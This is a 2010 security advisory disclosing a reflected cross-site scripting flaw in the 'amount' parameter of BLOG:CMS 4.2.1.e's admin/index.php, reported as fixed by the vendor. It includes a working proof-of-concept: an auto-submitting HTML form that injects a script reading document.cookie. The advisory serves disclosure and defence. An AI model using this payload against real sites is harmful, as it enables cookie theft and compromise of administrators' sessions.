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XSS vulnerability in BLOG:CMS
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- Subject: XSS vulnerability in BLOG:CMS
- From: advisory@xxxxxxxxxxx
- Date: Wed, 15 Dec 2010 20:22:49 +0100 (CET)
Vulnerability ID: HTB22725
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_blogcms_1.html
Product: BLOG:CMS
Vendor: Radek Hulán ( http://blogcms.com/ )
Vulnerable Version: 4.2.1.e and probably prior versions
Vendor Notification: 30 November 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "admin/index.php" script to
properly sanitize user-supplied input in "amount" variable. Successful
exploitation of this vulnerability could result in a compromise of the
application, theft of cookie-based authentication credentials, disclosure or
modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is
available:
<form action="http://host/admin/index.php" method="post" name="main">
<input type="hidden" name="blogid" value="0">
<input type="hidden" name="itemid" value="0">
<input type="hidden" name="action" value="browseowncomments">
<input type="hidden" name="amount"
value='10"><script>alert(document.cookie)</script>'>
<input type="hidden" name="start" value="0">
<input type="hidden" name="search" value="">
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version